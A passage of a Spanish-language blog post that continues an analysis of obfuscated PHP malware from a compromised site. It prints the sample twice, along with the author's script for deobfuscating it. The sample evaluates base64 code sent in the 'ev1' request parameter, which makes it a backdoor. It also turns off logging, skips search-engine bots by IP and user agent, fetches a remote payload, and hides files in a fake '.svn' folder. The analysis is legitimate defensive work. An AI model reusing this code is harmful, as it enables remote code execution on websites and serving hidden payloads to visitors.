En la entrada anterior, vimos cómo decodificar el código que habíamos encontrado hasta dejar código PHP en claro que podíamos interpretar, aunque fuese código muy lioso que aún podía ser mejorado. Si no has visto la primera parte de este análisis, échale un ojo en este enlace. En esta entrada vamos a continuar el análisis con el fin de entender que acciones realiza en el sistema, y que permite realizar por parte del atacante.

El código al que habíamos llegado era el siguiente:

<?php
if (!function_exists('google')) {
    function google($i)
    {
        $a = Array(
            "safe_mode",
            "open_basedir",
            "safe_mode_include_dir",
            "safe_mode_exec_dir",
            "disable_functions",
            "allow_url_fopen",
            'max_execution_time',
            'output_buffering',
            'memory_limit',
            '16M',
            'error_log',
            'log_errors',
            'file_uploads',
            'allow_url_fopen',
            'max_execution_time',
            'output_buffering',
            'memory_limit',
            '16M',
            'error_log',
            'log_errors',
            'file_uploads',
            'allow_url_fopen',
            "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)",
            'safe_mode',
            'open_basedir',
            "http://",
            "",
            "#/#",
            "/",
            "",
            "",
            "/",
            "/",
            "Accept-Language: en-us, en;q=0.50\r\n",
            "Connection: Close\r\n\r\n",
            "\r\n\r\n",
            "\n",
            "<br />",
            "",
            "/Location\:/",
            "Location: ",
            "\r",
            "\r\n\r\n",
            "",
            "&#76&#111&#99&#97&#116&#105&#111&#110&#58",
            "Location:",
            "ERROR",
            "66\.249\.[6-9][0-9]\.[0-9]+",
            "72\.14\.[1-2][0-9][0-9]\.[0-9]+",
            "74\.125\.[0-9]+\.[0-9]+",
            "65\.5[2-5]\.[0-9]+\.[0-9]+",
            "74\.6\.[0-9]+\.[0-9]+",
            "67\.195\.[0-9]+\.[0-9]+",
            "72\.30\.[0-9]+\.[0-9]+",
            "38\.[0-9]+\.[0-9]+\.[0-9]+",
            "124\.115\.6\.[0-9]+",
            "93\.172\.94\.227",
            "212\.100\.250\.218",
            "71\.165\.223\.134",
            "209\.9\.239\.101",
            "67\.217\.160\.[0-9]+",
            "70\.91\.180\.25",
            "65\.93\.62\.242",
            "74\.193\.246\.129",
            "213\.144\.15\.38",
            "195\.92\.229\.2",
            "70\.50\.189\.191",
            "218\.28\.88\.99",
            "165\.160\.2\.20",
            "89\.122\.224\.230",
            "66\.230\.175\.124",
            "218\.18\.174\.27",
            "65\.33\.87\.94",
            "67\.210\.111\.241",
            "81\.135\.175\.70",
            "64\.69\.34\.134",
            "89\.149\.253\.169",
            "64\.233\.1[6-8][1-9]\.[0-9]+",
            "64\.233\.19[0-1]\.[0-9]+",
            "209\.185\.108\.[0-9]+",
            "209\.185\.253\.[0-9]+",
            "209\.85\.238\.[0-9]+",
            "216\.239\.33\.9[6-9]",
            "216\.239\.37\.9[8-9]",
            "216\.239\.39\.9[8-9]",
            "216\.239\.41\.9[6-9]",
            "216\.239\.45\.4",
            "216\.239\.46\.[0-9]+",
            "216\.239\.51\.9[6-9]",
            "216\.239\.53\.9[8-9]",
            "216\.239\.57\.9[6-9]",
            "216\.239\.59\.9[8-9]",
            "216\.33\.229\.163",
            "64\.233\.173\.[0-9]+",
            "64\.68\.8[0-9]\.[0-9]+",
            "64\.68\.9[0-2]\.[0-9]+",
            "72\.14\.199\.[0-9]+",
            "8\.6\.48\.[0-9]+",
            "207\.211\.40\.82",
            "67\.162\.158\.146",
            "66\.255\.53\.123",
            "24\.200\.208\.112",
            "129\.187\.148\.240",
            "129\.187\.148\.244",
            "199\.126\.151\.229",
            "118\.124\.32\.193",
            "89\.149\.217\.191",
            "122\.164\.27\.42",
            "149\.5\.168\.2",
            "150\.70\.66\.[0-9]+",
            "194\.250\.116\.39",
            "208\.80\.194\.[0-9]+",
            "62\.190\.39\.205",
            "67\.198\.80\.236",
            "85\.85\.187\.243",
            "95\.134\.141\.250",
            "97\.107\.135\.[0-9]+",
            "184\.168\.191\.[0-9]+",
            "95\.108\.157\.[0-9]+",
            "209\.235\.253\.17",
            'http',
            'google',
            'slurp',
            'msnbot',
            'bot',
            'crawl',
            'spider',
            'robot',
            'httpclient',
            'curl',
            'php',
            'indy library',
            'wordpress',
            'charlotte',
            'wwwster',
            'python',
            'urllib',
            'perl',
            'libwww',
            'lynx',
            'twiceler',
            'rambler',
            'yandex',
            'trend',
            'virus',
            'malware',
            'wget',
            "|User\.Agent\:[\s ]?|i",
            "",
            "^[a-zA-Z]{5,}",
            ".",
            "..",
            'langs',
            'REMOTE_ADDR',
            'HTTP_USER_AGENT',
            'SCRIPT_FILENAME',
            '',
            '',
            '',
            'windows',
            'Expires: Sat, 26 Jul 1997 05:00:00 GMT',
            'Last-Modified: ',
            'D, d M Y H:i:s',
            ' GMT',
            'Cache-Control: no-store, no-cache, must-revalidate',
            'Cache-Control: post-check=0, pre-check=0',
            'Pragma: no-cache',
            '/.svn',
            "Hi",
            '0000',
            '0001',
            '1200',
            '1201',
            "ymd",
            "w",
            'ohix.',
            'effbot.',
            '/f/',
            'net',
            'ERROR',
            "w",
            "a"
        );
        return $a[$i];
    }
}
?><?php
@ignore_user_abort(round(0 + 0.25 + 0.25 + 0.25 + 0.25));
@set_magic_quotes_runtime(round(0));
@set_time_limit(round(0));
@error_reporting(round(0));
if (@function_exists('ini_restore')) {
    @ini_restore(google(0));
    @ini_restore(google(1));
    @ini_restore(google(2));
    @ini_restore(google(3));
    @ini_restore(google(4));
    @ini_restore(google(5));
}
if (@function_exists('ini_set')) {
    @ini_set(google(6), round(0));
    @ini_set(google(7), round(0));
    @ini_set(google(8), google(9));
    @ini_set(google(10), NULL);
    @ini_set(google(11), round(0));
    @ini_set(google(12), round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2));
    @ini_set(google(13), round(0 + 0.25 + 0.25 + 0.25 + 0.25));
} elseif (@function_exists('ini_alter')) {
    @ini_alter(google(14), round(0));
    @ini_alter(google(15), round(0));
    @ini_alter(google(16), google(17));
    @ini_alter(google(18), NULL);
    @ini_alter(google(19), round(0));
    @ini_alter(google(20), round(0 + 0.25 + 0.25 + 0.25 + 0.25));
    @ini_alter(google(21), round(0 + 0.25 + 0.25 + 0.25 + 0.25));
}
if (!function_exists('cc')) {
    function cc($bot_0)
    {
        $bot_1 = google(22);
        if (function_exists('curl_init')) {
            $bot_2 = curl_init();
            curl_setopt($bot_2, 10002, $bot_0);
            curl_setopt($bot_2, 42, round(0));
            curl_setopt($bot_2, 13, round(0 + 7.5 + 7.5 + 7.5 + 7.5));
            curl_setopt($bot_2, 19913, round(0 + 0.25 + 0.25 + 0.25 + 0.25));
            curl_setopt($bot_2, 10018, $bot_1);
            if (!(@ini_get(google(23)) || @ini_get(google(24)))) {
                @curl_setopt($bot_2, 52, round(0 + 1));
            }
            @curl_setopt($bot_2, 68, round(0 + 0.4 + 0.4 + 0.4 + 0.4 + 0.4));
            $bot_3 = curl_exec($bot_2);
            curl_close($bot_2);
            if ($bot_3 !== false) {
                return $bot_3;
            }
        } else if (function_exists('fsockopen')) {
            global $bot_4;
            $bot_0 = str_replace(google(25), google(26), $bot_0);
            if (preg_match(google(27), "$bot_0")) {
                $bot_5 = $bot_0;
                $bot_0 = @explode(google(28), $bot_0);
                $bot_0 = $bot_0[round(0)];
                $bot_5 = str_replace($bot_0, google(29), $bot_5);
                if (!$bot_5 || $bot_5 == google(30)) {
                    $bot_5 = google(31);
                }
                $bot_6 = gethostbyname($bot_0);
            } else {
                $bot_6 = gethostbyname($bot_0);
                $bot_5 = google(32);
            }
            $bot_7 = fsockopen($bot_6, round(0 + 16 + 16 + 16 + 16 + 16), $bot_8, $bot_9, round(0 + 2 + 2 + 2 + 2 + 2));
            stream_set_timeout($bot_7, round(0 + 2 + 2 + 2 + 2 + 2));
            if ($bot_7) {
                $bot_10 = "GET $bot_5 HTTP/1.0\r\n";
                $bot_10 .= "Host: $bot_0\r\n";
                $bot_10 .= "Referer: http://$bot_0$bot_5\r\n";
                $bot_10 .= google(33);
                $bot_10 .= "User-Agent: $bot_1\r\n";
                $bot_10 .= google(34);
                fputs($bot_7, $bot_10);
                while (!feof($bot_7)) {
                    $bot_11 .= fgets($bot_7, round(0 + 4096));
                }
                fclose($bot_7);
                $bot_11 = @explode(google(35), $bot_11, round(0 + 2));
                $bot_12 = $bot_11[round(0)];
                if ($bot_4) {
                    $bot_12 = "$bot_4<br /><br />\n$bot_12";
                }
                $bot_12 = str_replace(google(36), google(37), $bot_12);
                if ($bot_11[round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)]) {
                    $bot_13 = $bot_11[round(0 + 1)];
                } else {
                    $bot_13 = google(38);
                }
                if ($bot_13) {
                    $bot_11 = $bot_13;
                } else {
                    $bot_11 = $bot_12;
                }
                if (preg_match(google(39), "$bot_12")) {
                    $bot_0  = @explode(google(40), $bot_12);
                    $bot_0  = $bot_0[round(0 + 0.25 + 0.25 + 0.25 + 0.25)];
                    $bot_0  = @explode(google(41), $bot_0);
                    $bot_0  = $bot_0[round(0)];
                    $bot_4  = str_replace(google(42), google(43), $bot_12);
                    $bot_14 = google(44);
                    $bot_4  = str_replace(google(45), $bot_14, $bot_4);
                    return cc($bot_0);
                } else {
                    return $bot_11;
                }
            }
        } else {
            echo google(46);
            exit;
        }
    }
}
if (!function_exists('detB')) {
    function detB($bot_15, $bot_16)
    {
        $bot_17 = array(
            google(47),
            google(48),
            google(49),
            google(50),
            google(51),
            google(52),
            google(53),
            google(54),
            google(55),
            google(56),
            google(57),
            google(58),
            google(59),
            google(60),
            google(61),
            google(62),
            google(63),
            google(64),
            google(65),
            google(66),
            google(67),
            google(68),
            google(69),
            google(70),
            google(71),
            google(72),
            google(73),
            google(74),
            google(75),
            google(76),
            google(77),
            google(78),
            google(79),
            google(80),
            google(81),
            google(82),
            google(83),
            google(84),
            google(85),
            google(86),
            google(87),
            google(88),
            google(89),
            google(90),
            google(91),
            google(92),
            google(93),
            google(94),
            google(95),
            google(96),
            google(97),
            google(98),
            google(99),
            google(100),
            google(101),
            google(102),
            google(103),
            google(104),
            google(105),
            google(106),
            google(107),
            google(108),
            google(109),
            google(110),
            google(111),
            google(112),
            google(113),
            google(114),
            google(115),
            google(116),
            google(117),
            google(118),
            google(119)
        );
        $bot_18 = array(
            google(120),
            google(121),
            google(122),
            google(123),
            google(124),
            google(125),
            google(126),
            google(127),
            google(128),
            google(129),
            google(130),
            google(131),
            google(132),
            google(133),
            google(134),
            google(135),
            google(136),
            google(137),
            google(138),
            google(139),
            google(140),
            google(141),
            google(142),
            google(143),
            google(144),
            google(145),
            google(146)
        );
        $bot_15 = preg_replace(google(147), google(148), $bot_15);
        $bot_19 = true;
        foreach ($bot_17 as $bot_20)
            if (eregi("$bot_20", $bot_16)) {
                $bot_19 = false;
                break;
            }
        if ($bot_19)
            foreach ($bot_18 as $bot_21)
                if (eregi($bot_21, $bot_15) !== false) {
                    $bot_19 = false;
                    break;
                }
        if ($bot_19 and !eregi(google(149), $bot_15)) {
            $bot_19 = false;
        }
        if ($bot_19 and strlen($bot_15) <= round(0 + 3.66666666667 + 3.66666666667 + 3.66666666667)) {
            $bot_19 = false;
        }
        return $bot_19;
    }
}
if (!function_exists('rm_rf')) {
    function rm_rf($bot_22)
    {
        $bot_23 = @filemtime($bot_22);
        if ($bot_24 = opendir($bot_22)) {
            while (false !== ($bot_25 = readdir($bot_24))) {
                if ($bot_25 != google(150) && $bot_25 != google(151) && is_file($bot_25)) {
                    @chmod($bot_25, round(0 + 146 + 146 + 146));
                    @unlink($bot_25);
                }
            }
            closedir($bot_24);
        }
        @touch($bot_22, $bot_23, $bot_23);
    }
}
eval(base64_decode('aWYgKGlzc2V0KCRfUkVRVUVTVFsiZXYxIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1JFUVVFU1RbImV2MSJdKSk7IGV4aXQ7fQ=='));
$bot_26 = google(152);
$bot_27 = $_SERVER[google(153)];
$bot_1  = $_SERVER[google(154)];
$bot_28 = $_SERVER[google(155)];
if ($bot_27 == google(156) || $bot_1 == google(157) || $bot_28 == google(158))
    die();
$bot_29 = strtolower($bot_1);
if (!isset($_COOKIE[$bot_26]) && strstr($bot_29, google(159)) !== false) {
    @header(google(160));
    @header(google(161) . gmdate(google(162)) . google(163));
    @header(google(164));
    @header(google(165), false);
    @header(google(166));
    $bot_30 = dirname($bot_28) . google(167);
    if (!file_exists($bot_30)) {
        $bot_23 = @filemtime(dirname($bot_28));
        @mkdir($bot_30);
        @touch(dirname($bot_28), $bot_23, $bot_23);
        @touch($bot_30, $bot_23, $bot_23);
    }
    $bot_31 = @date(google(168));
    if (($bot_31 >= google(169) && $bot_31 <= google(170)) || ($bot_31 >= google(171) && $bot_31 <= google(172)))
        rm_rf($bot_30);
    $bot_32 = @date(google(173));
    $bot_33 = "$bot_30/$bot_32";
    $bot_34 = "$bot_30/sess_$bot_32";
    if (!file_exists($bot_33)) {
        $bot_23 = @filemtime($bot_30);
        $bot_35 = fopen($bot_33, google(174));
        fclose($bot_35);
        @touch($bot_30, $bot_23, $bot_23);
    }
    if (!file_exists($bot_34) || filesize($bot_34) < round(0 + 5)) {
        $bot_36 = array(
            google(175),
            google(176),
            google(177),
            google(178)
        );
        $bot_37 = $bot_36[rand(round(0), round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2))] . $bot_36[round(0 + 3)] . $bot_36[round(0 + 1 + 1)];
        $bot_38 = @cc($bot_37);
        if ($bot_38 != google(179)) {
            $bot_23 = @filemtime($bot_30);
            $bot_35 = @fopen($bot_34, google(180));
            @fwrite($bot_35, "$bot_38");
            @fclose($bot_35);
            @touch($bot_30, $bot_23, $bot_23);
            @touch($bot_34, $bot_23, $bot_23);
        }
    }
    $bot_39 = @base64_decode(@file_get_contents($bot_34));
    $bot_40 = @file($bot_33);
    $bot_41 = false;
    foreach ($bot_40 as $bot_42) {
        if (@trim($bot_42) == $bot_27) {
            $bot_41 = true;
            break;
        }
    }
    $bot_19 = @detB($bot_1, $bot_27);
    if ($bot_41 == false && $bot_19 == true) {
        $bot_35 = @fopen($bot_33, google(181));
        @fwrite($bot_35, "$bot_27\n");
        @fclose($bot_35);
        echo $bot_39;
    }
}
?>

Primeras observaciones sobre el código:

  • Si os fijáis al inicio del código se define una función llamada google, que luego llama por todo el código pasando como parámetro un número entero. Es simplemente una función con comportamiento de Array que el autor usa para evitar colocar texto directamente en el resto del archivo y así hacer mas complicada la interpretación del código
  • En lugar de poner números enteros en el código, utiliza la función round y una suma de números decimales, como round(0.2 + 0.2 + 0.2 + 0.2 + 0.2). La razón la desconozco, pero imagino que el objetivo será, de nuevo, hacer el código más ilegible
  • El carácter @ delante de muchas de las funciones. Este carácter lo único que hace es evitar la salida de errores y warnings de esa función, de forma que si algo da error, no aparezca en pantalla y así pase desapercibido
  • Variables completamente indescriptibles. Con tanto $bot_NUMERO es imposible saber que hay en cada variable
  • Más eval(base64_decode(STRING)) que habrá que decodificar para ver que código oculta
  • Usa if(!function_exists(nombre)) antes de declarar funciones. El objetivo, de nuevo, no lo sé. Quizás sea para evitar salida de errores si se incluye el archivo y ya existe esa función.

Lo primero que vamos a hacer es eliminar los dos primeros puntos de la lista de observaciones, vamos a sustituir los google(NUM) por su resultado, y vamos a eliminar los round(0.2 + 0.2 + …) por el número que da cómo resultado de esa operación. Para hacer eso yo he escrito el siguiente script en PHP:

<?php
if (!function_exists('google')) {
    function google($i)
    {
        $a = Array(
            "safe_mode",
            "open_basedir",
            "safe_mode_include_dir",
            "safe_mode_exec_dir",
            "disable_functions",
            "allow_url_fopen",
            'max_execution_time',
            'output_buffering',
            'memory_limit',
            '16M',
            'error_log',
            'log_errors',
            'file_uploads',
            'allow_url_fopen',
            'max_execution_time',
            'output_buffering',
            'memory_limit',
            '16M',
            'error_log',
            'log_errors',
            'file_uploads',
            'allow_url_fopen',
            "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)",
            'safe_mode',
            'open_basedir',
            "http://",
            "",
            "#/#",
            "/",
            "",
            "",
            "/",
            "/",
            "Accept-Language: en-us, en;q=0.50\r\n",
            "Connection: Close\r\n\r\n",
            "\r\n\r\n",
            "\n",
            " ",
            "",
            "/Location\:/",
            "Location: ",
            "\r",
            "\r\n\r\n",
            "",
            "&#76&#111&#99&#97&#116&#105&#111&#110&#58",
            "Location:",
            "ERROR",
            "66\.249\.[6-9][0-9]\.[0-9]+",
            "72\.14\.[1-2][0-9][0-9]\.[0-9]+",
            "74\.125\.[0-9]+\.[0-9]+",
            "65\.5[2-5]\.[0-9]+\.[0-9]+",
            "74\.6\.[0-9]+\.[0-9]+",
            "67\.195\.[0-9]+\.[0-9]+",
            "72\.30\.[0-9]+\.[0-9]+",
            "38\.[0-9]+\.[0-9]+\.[0-9]+",
            "124\.115\.6\.[0-9]+",
            "93\.172\.94\.227",
            "212\.100\.250\.218",
            "71\.165\.223\.134",
            "209\.9\.239\.101",
            "67\.217\.160\.[0-9]+",
            "70\.91\.180\.25",
            "65\.93\.62\.242",
            "74\.193\.246\.129",
            "213\.144\.15\.38",
            "195\.92\.229\.2",
            "70\.50\.189\.191",
            "218\.28\.88\.99",
            "165\.160\.2\.20",
            "89\.122\.224\.230",
            "66\.230\.175\.124",
            "218\.18\.174\.27",
            "65\.33\.87\.94",
            "67\.210\.111\.241",
            "81\.135\.175\.70",
            "64\.69\.34\.134",
            "89\.149\.253\.169",
            "64\.233\.1[6-8][1-9]\.[0-9]+",
            "64\.233\.19[0-1]\.[0-9]+",
            "209\.185\.108\.[0-9]+",
            "209\.185\.253\.[0-9]+",
            "209\.85\.238\.[0-9]+",
            "216\.239\.33\.9[6-9]",
            "216\.239\.37\.9[8-9]",
            "216\.239\.39\.9[8-9]",
            "216\.239\.41\.9[6-9]",
            "216\.239\.45\.4",
            "216\.239\.46\.[0-9]+",
            "216\.239\.51\.9[6-9]",
            "216\.239\.53\.9[8-9]",
            "216\.239\.57\.9[6-9]",
            "216\.239\.59\.9[8-9]",
            "216\.33\.229\.163",
            "64\.233\.173\.[0-9]+",
            "64\.68\.8[0-9]\.[0-9]+",
            "64\.68\.9[0-2]\.[0-9]+",
            "72\.14\.199\.[0-9]+",
            "8\.6\.48\.[0-9]+",
            "207\.211\.40\.82",
            "67\.162\.158\.146",
            "66\.255\.53\.123",
            "24\.200\.208\.112",
            "129\.187\.148\.240",
            "129\.187\.148\.244",
            "199\.126\.151\.229",
            "118\.124\.32\.193",
            "89\.149\.217\.191",
            "122\.164\.27\.42",
            "149\.5\.168\.2",
            "150\.70\.66\.[0-9]+",
            "194\.250\.116\.39",
            "208\.80\.194\.[0-9]+",
            "62\.190\.39\.205",
            "67\.198\.80\.236",
            "85\.85\.187\.243",
            "95\.134\.141\.250",
            "97\.107\.135\.[0-9]+",
            "184\.168\.191\.[0-9]+",
            "95\.108\.157\.[0-9]+",
            "209\.235\.253\.17",
            'http',
            'google',
            'slurp',
            'msnbot',
            'bot',
            'crawl',
            'spider',
            'robot',
            'httpclient',
            'curl',
            'php',
            'indy library',
            'wordpress',
            'charlotte',
            'wwwster',
            'python',
            'urllib',
            'perl',
            'libwww',
            'lynx',
            'twiceler',
            'rambler',
            'yandex',
            'trend',
            'virus',
            'malware',
            'wget',
            "|User\.Agent\:[\s ]?|i",
            "",
            "^[a-zA-Z]{5,}",
            ".",
            "..",
            'langs',
            'REMOTE_ADDR',
            'HTTP_USER_AGENT',
            'SCRIPT_FILENAME',
            '',
            '',
            '',
            'windows',
            'Expires: Sat, 26 Jul 1997 05:00:00 GMT',
            'Last-Modified: ',
            'D, d M Y H:i:s',
            ' GMT',
            'Cache-Control: no-store, no-cache, must-revalidate',
            'Cache-Control: post-check=0, pre-check=0',
            'Pragma: no-cache',
            '/.svn',
            "Hi",
            '0000',
            '0001',
            '1200',
            '1201',
            "ymd",
            "w",
            'ohix.',
            'effbot.',
            '/f/',
            'net',
            'ERROR',
            "w",
            "a"
        );
        return $a[$i];
    }
}
$archivo = file_get_contents("./codigo_malware");
$archivo = preg_replace('/google\((\d+)\)/e', '\'"\'.str_replace("\n", "\x5Cn", str_replace("\r", "\x5Cr", google($1))).\'"\'', $archivo);
$archivo = preg_replace('/round\(([\d\. \+]+)\)/e', 'round($1)', $archivo);
file_put_contents("./codigo_malware_modificado", $archivo);
?>

El script utiliza expresiones regulares y la función “google” del malware para sustituir la cadena google(NUM) del archivo del malware por el resultado de la función. También se encarga de eliminar las llamadas a round, sustituyéndolas por el resultado. Las dos funciones str_replace las utilizo para que al ejecutar el código no se interpreten los caracteres \r y \n. Seguro que hay formas mas elegantes de hacerlo, pero esa es la única que he encontrado.

Al ejecutar el script desde la consola, nos genera un archivo nuevo con el código del malware ya modificado.

<?php
@ignore_user_abort(1);
@set_magic_quotes_runtime(0);
@set_time_limit(0);
@error_reporting(0);
if (@function_exists('ini_restore')) {
    @ini_restore("safe_mode");
    @ini_restore("open_basedir");
    @ini_restore("safe_mode_include_dir");
    @ini_restore("safe_mode_exec_dir");
    @ini_restore("disable_functions");
    @ini_restore("allow_url_fopen");
}
if (@function_exists('ini_set')) {
    @ini_set("max_execution_time", 0);
    @ini_set("output_buffering", 0);
    @ini_set("memory_limit", "16M");
    @ini_set("error_log", NULL);
    @ini_set("log_errors", 0);
    @ini_set("file_uploads", 1);
    @ini_set("allow_url_fopen", 1);
} elseif (@function_exists('ini_alter')) {
    @ini_alter("max_execution_time", 0);
    @ini_alter("output_buffering", 0);
    @ini_alter("memory_limit", "16M");
    @ini_alter("error_log", NULL);
    @ini_alter("log_errors", 0);
    @ini_alter("file_uploads", 1);
    @ini_alter("allow_url_fopen", 1);
}
if (!function_exists('cc')) {
    function cc($bot_0)
    {
        $bot_1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
        if (function_exists('curl_init')) {
            $bot_2 = curl_init();
            curl_setopt($bot_2, 10002, $bot_0);
            curl_setopt($bot_2, 42, 0);
            curl_setopt($bot_2, 13, 30);
            curl_setopt($bot_2, 19913, 1);
            curl_setopt($bot_2, 10018, $bot_1);
            if (!(@ini_get("safe_mode") || @ini_get("open_basedir"))) {
                @curl_setopt($bot_2, 52, 1);
            }
            @curl_setopt($bot_2, 68, 2);
            $bot_3 = curl_exec($bot_2);
            curl_close($bot_2);
            if ($bot_3 !== false) {
                return $bot_3;
            }
        } else if (function_exists('fsockopen')) {
            global $bot_4;
            $bot_0 = str_replace("http://", "", $bot_0);
            if (preg_match("#/#", "$bot_0")) {
                $bot_5 = $bot_0;
                $bot_0 = @explode("/", $bot_0);
                $bot_0 = $bot_0[0];
                $bot_5 = str_replace($bot_0, "", $bot_5);
                if (!$bot_5 || $bot_5 == "") {
                    $bot_5 = "/";
                }
                $bot_6 = gethostbyname($bot_0);
            } else {
                $bot_6 = gethostbyname($bot_0);
                $bot_5 = "/";
            }
            $bot_7 = fsockopen($bot_6, 80, $bot_8, $bot_9, 10);
            stream_set_timeout($bot_7, 10);
            if ($bot_7) {
                $bot_10 = "GET $bot_5 HTTP/1.0\r\n";
                $bot_10 .= "Host: $bot_0\r\n";
                $bot_10 .= "Referer: http://$bot_0$bot_5\r\n";
                $bot_10 .= "Accept-Language: en-us, en;q=0.50\r\n";
                $bot_10 .= "User-Agent: $bot_1\r\n";
                $bot_10 .= "Connection: Close\r\n\r\n";
                fputs($bot_7, $bot_10);
                while (!feof($bot_7)) {
                    $bot_11 .= fgets($bot_7, 4096);
                }
                fclose($bot_7);
                $bot_11 = @explode("\r\n\r\n", $bot_11, 2);
                $bot_12 = $bot_11[0];
                if ($bot_4) {
                    $bot_12 = "$bot_4

\n$bot_12";
                }
                $bot_12 = str_replace("\n", "
", $bot_12);
                if ($bot_11[1]) {
                    $bot_13 = $bot_11[1];
                } else {
                    $bot_13 = "";
                }
                if ($bot_13) {
                    $bot_11 = $bot_13;
                } else {
                    $bot_11 = $bot_12;
                }
                if (preg_match("/Location\:/", "$bot_12")) {
                    $bot_0  = @explode("Location: ", $bot_12);
                    $bot_0  = $bot_0[1];
                    $bot_0  = @explode("\r", $bot_0);
                    $bot_0  = $bot_0[0];
                    $bot_4  = str_replace("\r\n\r\n", "", $bot_12);
                    $bot_14 = "&#76&#111&#99&#97&#116&#105&#111&#110&#58";
                    $bot_4  = str_replace("Location:", $bot_14, $bot_4);
                    return cc($bot_0);
                } else {
                    return $bot_11;
                }
            }
        } else {
            echo "ERROR";
            exit;
        }
    }
}
if (!function_exists('detB')) {
    function detB($bot_15, $bot_16)
    {
        $bot_17 = array(
            "66\.249\.[6-9][0-9]\.[0-9]+",
            "72\.14\.[1-2][0-9][0-9]\.[0-9]+",
            "74\.125\.[0-9]+\.[0-9]+",
            "65\.5[2-5]\.[0-9]+\.[0-9]+",
            "74\.6\.[0-9]+\.[0-9]+",
            "67\.195\.[0-9]+\.[0-9]+",
            "72\.30\.[0-9]+\.[0-9]+",
            "38\.[0-9]+\.[0-9]+\.[0-9]+",
            "124\.115\.6\.[0-9]+",
            "93\.172\.94\.227",
            "212\.100\.250\.218",
            "71\.165\.223\.134",
            "209\.9\.239\.101",
            "67\.217\.160\.[0-9]+",
            "70\.91\.180\.25",
            "65\.93\.62\.242",
            "74\.193\.246\.129",
            "213\.144\.15\.38",
            "195\.92\.229\.2",
            "70\.50\.189\.191",
            "218\.28\.88\.99",
            "165\.160\.2\.20",
            "89\.122\.224\.230",
            "66\.230\.175\.124",
            "218\.18\.174\.27",
            "65\.33\.87\.94",
            "67\.210\.111\.241",
            "81\.135\.175\.70",
            "64\.69\.34\.134",
            "89\.149\.253\.169",
            "64\.233\.1[6-8][1-9]\.[0-9]+",
            "64\.233\.19[0-1]\.[0-9]+",
            "209\.185\.108\.[0-9]+",
            "209\.185\.253\.[0-9]+",
            "209\.85\.238\.[0-9]+",
            "216\.239\.33\.9[6-9]",
            "216\.239\.37\.9[8-9]",
            "216\.239\.39\.9[8-9]",
            "216\.239\.41\.9[6-9]",
            "216\.239\.45\.4",
            "216\.239\.46\.[0-9]+",
            "216\.239\.51\.9[6-9]",
            "216\.239\.53\.9[8-9]",
            "216\.239\.57\.9[6-9]",
            "216\.239\.59\.9[8-9]",
            "216\.33\.229\.163",
            "64\.233\.173\.[0-9]+",
            "64\.68\.8[0-9]\.[0-9]+",
            "64\.68\.9[0-2]\.[0-9]+",
            "72\.14\.199\.[0-9]+",
            "8\.6\.48\.[0-9]+",
            "207\.211\.40\.82",
            "67\.162\.158\.146",
            "66\.255\.53\.123",
            "24\.200\.208\.112",
            "129\.187\.148\.240",
            "129\.187\.148\.244",
            "199\.126\.151\.229",
            "118\.124\.32\.193",
            "89\.149\.217\.191",
            "122\.164\.27\.42",
            "149\.5\.168\.2",
            "150\.70\.66\.[0-9]+",
            "194\.250\.116\.39",
            "208\.80\.194\.[0-9]+",
            "62\.190\.39\.205",
            "67\.198\.80\.236",
            "85\.85\.187\.243",
            "95\.134\.141\.250",
            "97\.107\.135\.[0-9]+",
            "184\.168\.191\.[0-9]+",
            "95\.108\.157\.[0-9]+",
            "209\.235\.253\.17"
        );
        $bot_18 = array(
            "http",
            "google",
            "slurp",
            "msnbot",
            "bot",
            "crawl",
            "spider",
            "robot",
            "httpclient",
            "curl",
            "php",
            "indy library",
            "wordpress",
            "charlotte",
            "wwwster",
            "python",
            "urllib",
            "perl",
            "libwww",
            "lynx",
            "twiceler",
            "rambler",
            "yandex",
            "trend",
            "virus",
            "malware",
            "wget"
        );
        $bot_15 = preg_replace("|User\.Agent\:[\s ]?|i", "", $bot_15);
        $bot_19 = true;
        foreach ($bot_17 as $bot_20)
            if (eregi("$bot_20", $bot_16)) {
                $bot_19 = false;
                break;
            }
        if ($bot_19)
            foreach ($bot_18 as $bot_21)
                if (eregi($bot_21, $bot_15) !== false) {
                    $bot_19 = false;
                    break;
                }
        if ($bot_19 and !eregi("^[a-zA-Z]{5,}", $bot_15)) {
            $bot_19 = false;
        }
        if ($bot_19 and strlen($bot_15) <= 11) {
            $bot_19 = false;
        }
        return $bot_19;
    }
}
if (!function_exists('rm_rf')) {
    function rm_rf($bot_22)
    {
        $bot_23 = @filemtime($bot_22);
        if ($bot_24 = opendir($bot_22)) {
            while (false !== ($bot_25 = readdir($bot_24))) {
                if ($bot_25 != "." && $bot_25 != ".." && is_file($bot_25)) {
                    @chmod($bot_25, 438);
                    @unlink($bot_25);
                }
            }
            closedir($bot_24);
        }
        @touch($bot_22, $bot_23, $bot_23);
    }
}
eval(base64_decode('aWYgKGlzc2V0KCRfUkVRVUVTVFsiZXYxIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1JFUVVFU1RbImV2MSJdKSk7IGV4aXQ7fQ=='));
$bot_26 = "langs";
$bot_27 = $_SERVER["REMOTE_ADDR"];
$bot_1  = $_SERVER["HTTP_USER_AGENT"];
$bot_28 = $_SERVER["SCRIPT_FILENAME"];
if ($bot_27 == "" || $bot_1 == "" || $bot_28 == "")
    die();
$bot_29 = strtolower($bot_1);
if (!isset($_COOKIE[$bot_26]) && strstr($bot_29, "windows") !== false) {
    @header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
    @header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
    @header("Cache-Control: no-store, no-cache, must-revalidate");
    @header("Cache-Control: post-check=0, pre-check=0", false);
    @header("Pragma: no-cache");
    $bot_30 = dirname($bot_28) . "/.svn";
    if (!file_exists($bot_30)) {
        $bot_23 = @filemtime(dirname($bot_28));
        @mkdir($bot_30);
        @touch(dirname($bot_28), $bot_23, $bot_23);
        @touch($bot_30, $bot_23, $bot_23);
    }
    $bot_31 = @date("Hi");
    if (($bot_31 >= "0000" && $bot_31 <= "0001") || ($bot_31 >= "1200" && $bot_31 <= "1201"))
        rm_rf($bot_30);
    $bot_32 = @date("ymd");
    $bot_33 = "$bot_30/$bot_32";
    $bot_34 = "$bot_30/sess_$bot_32";
